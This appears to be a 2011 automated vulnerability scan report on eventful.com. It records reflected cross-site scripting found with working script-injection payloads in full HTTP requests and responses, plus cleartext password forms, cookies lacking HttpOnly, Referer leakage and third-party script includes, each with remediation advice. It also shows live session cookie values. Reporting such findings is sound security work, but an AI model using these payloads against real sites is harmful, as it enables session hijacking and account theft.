XSS, Cross Site Scripting, CAPEC-86, CWE-79, eventful.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CAPEC-86: Embedding Script (XSS ) in HTTP Headers

Report generated by CloudScan Vulnerability Crawler at Mon Feb 14 10:13:05 CST 2011.

1. Cross-site scripting (reflected)

1.1. http://eventful.com/ [45518%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ecc616a5fa67 parameter]

1.2. http://eventful.com/ [name of an arbitrarily supplied request parameter]

2. Cleartext submission of password

2.1. http://eventful.com/

2.2. http://eventful.com/

3. Cookie without HttpOnly flag set

4. Password field with autocomplete enabled

4.1. http://eventful.com/

4.2. http://eventful.com/

5. Cross-domain Referer leakage

6. Cross-domain script include

1. Cross-site scripting (reflected) next
There are 2 instances of this issue:

/ [45518%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ecc616a5fa67 parameter]
/ [name of an arbitrarily supplied request parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://eventful.com/ [45518%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ecc616a5fa67 parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://eventful.com
Path:	/

Issue detail

The value of the 45518%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ecc616a5fa67 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84248"><script>alert(1)</script>539b6746b22 was submitted in the 45518%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ecc616a5fa67 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?45518%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ecc616a5fa67=184248"><script>alert(1)</script>539b6746b22 HTTP/1.1
Host: eventful.com
Proxy-Connection: keep-alive
Referer: http://eventful.com/?45518%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ecc616a5fa67=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: stsess=t64a08ea3056005a905d3a5f53547d6fb_42b6ee066b5338a252ddb66f19b09d7b; puid=1297535771_21e4a9e8331b5e2dfd875536a4566effEVv1

Response

HTTP/1.1 200 OK
Date: Sat, 12 Feb 2011 18:37:05 GMT
Server: lighttpd
Cache-control: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 91293

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" la
...[SNIP]...
<input type="hidden" name="goto" value="http://eventful.com/?45518%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ecc616a5fa67=184248"><script>alert(1)</script>539b6746b22" />
...[SNIP]...

1.2. http://eventful.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://eventful.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45518"><script>alert(1)</script>cc616a5fa67 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?45518"><script>alert(1)</script>cc616a5fa67=1 HTTP/1.1
Host: eventful.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 12 Feb 2011 18:11:49 GMT
Server: lighttpd
Content-length: 95575
Cache-control: no-cache
Content-Type: text/html; charset=UTF-8
Set-Cookie: stsess=taa91a0b3a50fe76780a0ddaa9f82155d_2d69a96d6c8fe217528e7efbd11ae192; domain=eventful.com; path=/; expires=Thu, 11-Feb-2016 18:11:50 GMT
Set-Cookie: puid=1297534309_66516f7d15ced1970b31d562a1e50cbbEVv1; domain=eventful.com; path=/; expires=Thu, 11-Feb-2016 18:11:50 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" la
...[SNIP]...
<input type="hidden" name="goto" value="http://eventful.com/?45518"><script>alert(1)</script>cc616a5fa67=1" />
...[SNIP]...

2. Cleartext submission of password previous next
There are 2 instances of this issue:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

2.1. http://eventful.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://eventful.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://eventful.com/signin

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: eventful.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

2.2. http://eventful.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://eventful.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://eventful.com/signin

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: eventful.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

3. Cookie without HttpOnly flag set previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://eventful.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

stsess=tebbc43a13c55fac2326ffcb4d9de5e6c_afb7aa0870d069d8178ff723ae5ce692; domain=eventful.com; path=/; expires=Thu, 11-Feb-2016 18:11:37 GMT
puid=1297534297_e32dfe2482f9f1822d3c5e983b764002EVv1; domain=eventful.com; path=/; expires=Thu, 11-Feb-2016 18:11:37 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET / HTTP/1.1
Host: eventful.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

4. Password field with autocomplete enabled previous next
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

4.1. http://eventful.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://eventful.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://eventful.com/signin

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: eventful.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

4.2. http://eventful.com/ previous

Summary

Severity:	Low
Confidence:	Certain
Host:	http://eventful.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://eventful.com/signin

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: eventful.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

5. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://eventful.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://eventful.com/?45518%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ecc616a5fa67=1

The response contains the following links to other domains:

http://b.scorecardresearch.com/beacon.js
http://b.scorecardresearch.com/p?c1=2&c2=7074479&c3=&c4=&c5=&c6=&c15=&cj=1
http://connect.facebook.net/en_US/all.js
http://edge.quantserve.com/quant.js
http://pixel.quantserve.com/pixel/p-94wNw88f65Rhk.gif?labels=MTVN%20Digital%20Tribes
http://pixel.quantserve.com/pixel/p-aeX7mnCn-PPTQ.gif
http://www.cmt.com/
http://www.mtv.com/
http://www.nextmovie.com/
http://www.nextmovie.com/category/dvd
http://www.ticketsnow.com/
https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /?45518%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ecc616a5fa67=1 HTTP/1.1
Host: eventful.com
Proxy-Connection: keep-alive
Referer: http://eventful.com/?45518%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ecc616a5fa67=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: stsess=t64a08ea3056005a905d3a5f53547d6fb_42b6ee066b5338a252ddb66f19b09d7b; puid=1297535771_21e4a9e8331b5e2dfd875536a4566effEVv1

Response

HTTP/1.1 200 OK
Date: Sat, 12 Feb 2011 18:36:40 GMT
Server: lighttpd
Cache-control: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 91427

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" la
...[SNIP]...
<link rel="bookmark" href="/" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
...[SNIP]...
<li><a href="http://www.nextmovie.com/category/dvd" alt="New Movies On DVD and Blu-Ray" target="_blank">New on DVD</a>
...[SNIP]...
</span>
<a href="http://www.mtv.com" title="MTV Networks" target="_new" class="no_hover "><img class="partner" src="http://static.eventful.com/store/skin/footer/logos/img_mtv_networks.png" alt="MTV Networks" width="117" height="25" /></a>
<a href="http://www.ticketsnow.com/" title="TicketsNow" target="_new" rel="nofollow" class="no_hover "><img class="partner" src="http://static.eventful.com/store/skin/footer/logos/img_tickets_now.png" alt="TicketsNow" width="105" height="25" /></a>
<a href="http://www.cmt.com/" title="Country Music Television" target="_new" class="no_hover "><img class="partner" src="http://static.eventful.com/store/skin/footer/logos/img_cmt.png" alt="Country Music Television" width="57" height="25" /></a>
<a href="http://www.nextmovie.com/" title="Next Movie" target="_new" class="no_hover "><img class="partner" src="http://static.eventful.com/store/skin/footer/logos/img_nextmovie.png" alt="Next Movie" width="40" height="26" />
...[SNIP]...
</div>
<script src="http://connect.facebook.net/en_US/all.js" type="text/javascript" charset="utf-8"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
<noscript>
<img src="http://pixel.quantserve.com/pixel/p-aeX7mnCn-PPTQ.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
<noscript>
<img src="http://pixel.quantserve.com/pixel/p-94wNw88f65Rhk.gif?labels=MTVN%20Digital%20Tribes" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

<script src="http://b.scorecardresearch.com/beacon.js"></script>
...[SNIP]...
<noscript>

<img src="http://b.scorecardresearch.com/p?c1=2&c2=7074479&c3=&c4=&c5=&c6=&c15=&cj=1" />
</noscript>
...[SNIP]...

6. Cross-domain script include previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://eventful.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.doubleclick.net/adj/ev_main/other;emu=178;reg=872;ctry=227;cid=skin_justinbieber2011;pos=top;dcopt=ist;sz=728x90;tile=1;abr=!ie;ord=28947?
http://b.scorecardresearch.com/beacon.js
http://connect.facebook.net/en_US/all.js
http://edge.quantserve.com/quant.js
https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET / HTTP/1.1
Host: eventful.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 12 Feb 2011 18:11:37 GMT
Server: lighttpd
Content-length: 95565
Cache-control: no-cache
Content-Type: text/html; charset=UTF-8
Set-Cookie: stsess=tebbc43a13c55fac2326ffcb4d9de5e6c_afb7aa0870d069d8178ff723ae5ce692; domain=eventful.com; path=/; expires=Thu, 11-Feb-2016 18:11:37 GMT
Set-Cookie: puid=1297534297_e32dfe2482f9f1822d3c5e983b764002EVv1; domain=eventful.com; path=/; expires=Thu, 11-Feb-2016 18:11:37 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" la
...[SNIP]...
<link rel="bookmark" href="/" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
...[SNIP]...
ry=227;cid=skin_justinbieber2011;pos=top;dcopt=ist;sz=728x90;tile=1;ord=28947?" id="rev-gen-iframe-top" width="728" height="90" marginwidth="0" marginheight="0" frameborder="0" scrolling="no">
<script type="text/javascript" src="http://ad.doubleclick.net/adj/ev_main/other;emu=178;reg=872;ctry=227;cid=skin_justinbieber2011;pos=top;dcopt=ist;sz=728x90;tile=1;abr=!ie;ord=28947?"></script>
...[SNIP]...
</div>
<script src="http://connect.facebook.net/en_US/all.js" type="text/javascript" charset="utf-8"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

<script src="http://b.scorecardresearch.com/beacon.js"></script>
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Mon Feb 14 10:13:05 CST 2011.